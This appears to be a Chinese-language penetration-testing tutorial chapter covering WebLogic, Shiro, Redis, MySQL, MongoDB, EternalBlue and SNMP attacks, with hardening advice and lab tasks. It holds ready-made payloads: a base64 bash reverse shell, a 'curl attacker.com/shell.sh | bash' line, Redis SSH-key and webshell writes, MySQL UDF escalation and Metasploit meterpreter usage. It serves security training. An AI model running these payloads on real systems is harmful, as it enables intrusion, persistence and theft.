4.1 中间件漏洞利用
WebLogic反序列化漏洞(CVE-2023-21839)
漏洞原理:
T3协议反序列化未严格校验,攻击者可注入恶意序列化对象执行任意代码。
攻击流程:
- 使用ysoserial生成CommonsCollections6 payload:
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
- 通过T3协议发送payload:
python3 weblogic.py 192.168.1.100:7001 payload.bin
防御方案:
升级至官方补丁版本
禁用T3协议或配置IP白名单
Shiro RememberMe反序列化(CVE-2016-4437)
漏洞检测:
检查Cookie中
rememberMe=deleteMe
字段是否存在Shiro特征利用工具:
python3 shiro_exploit.py -t http://target.com -p CommonsBeanutils1 -c "curl http://attacker.com/shell.sh | bash"
密钥爆破:
使用shiro_attack.jar加载常见密钥列表(如kPH+bIxk5D2deZiIxcaaaA==)
Redis未授权访问
- 写SSH密钥:
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n"
save
- 写WebShell:
config set dir /var/www/html
set shell "<?php @eval($_POST[cmd]);?>"
config set dbfilename shell.php
save
防御方案:
绑定127.0.0.1并设置强密码
禁用CONFIG/SAVE等高危命令
实践任务
使用Docker搭建Shiro 1.2.4靶场,利用默认密钥反弹Shell
通过Redis未授权访问写入计划任务(/etc/crontab)实现持久化
4.2 数据库渗透
MySQL提权技术
- UDF提权(Linux):
- 上传恶意so文件:
SELECT 0x7F454C46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
- 创建函数执行命令:
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';
SELECT sys_exec('chmod +s /bin/bash');
- 日志文件写入WebShell:
SET global general_log_file='/var/www/html/shell.php';
SET global general_log=on;
SELECT '<?php system($_GET["cmd"]);?>';
MongoDB注入与未授权访问
- NoSQL注入利用:
// 原始查询
db.users.find({user: "admin", pass: "123"})
// 攻击载荷
db.users.find({user: "admin", pass: {"$ne": ""}})
- 未授权访问利用:
mongo 192.168.1.100:27017
> db.adminCommand({listDatabases:1})
> db.getUser("admin")
防御方案
最小化权限:数据库账户仅授予必要权限(禁止FILE_PRIV)
网络隔离:数据库服务不暴露公网,限制访问IP
实践任务
利用MySQL写入WebShell获取服务器权限
通过MongoDB未授权访问导出用户数据
4.3 协议层漏洞
SMB永恒之蓝(MS17-010)
- Metasploit利用:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.200
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
- 手工检测:
nmap -p445 --script smb-vuln-ms17-010 192.168.1.0/24
SNMP弱口令与信息泄露
- 社区名爆破:
onesixtyone -c dict.txt 192.168.1.100
- 敏感信息提取:
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.1.5.0 # 获取主机名
snmpwalk -v2c -c private 192.168.1.100 1.3.6.1.2.1.25.4.2.1.2 # 进程列表
防御方案
- 禁用SMBv1:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0
SNMP加固:
修改默认community名称
配置ACL限制访问源
实践任务
使用永恒之蓝攻击Windows 7靶机,获取SYSTEM权限
通过SNMP协议提取目标设备的ARP表
技术整合与防御体系
企业级服务加固清单
- 中间件层:
定期更新至稳定版本
删除默认管理页面(如Tomcat的/manager/html)
- 数据库层:
启用SSL加密通信
审计数据库日志中的异常查询
- 协议层:
关闭非必要协议(如Telnet/FTP)
部署网络IDS检测异常SMB流量
红队攻击链示例
通过Shiro反序列化获取Web服务器权限
利用Redis未授权访问横向跳转到数据库服务器
通过MySQL提权建立SSH隧道进入内网
学习建议
靶场环境:搭建Vulhub、VulnApp等集成化漏洞环境
武器库开发:编写自动化服务探测脚本(如SMB扫描器)
攻防演练:参与HTB(Hack The Box)中服务类靶机挑战
本部分内容将帮助学习者掌握企业级服务攻防核心技术,从单点漏洞利用进阶到APT级横向渗透,构建纵深防御体系。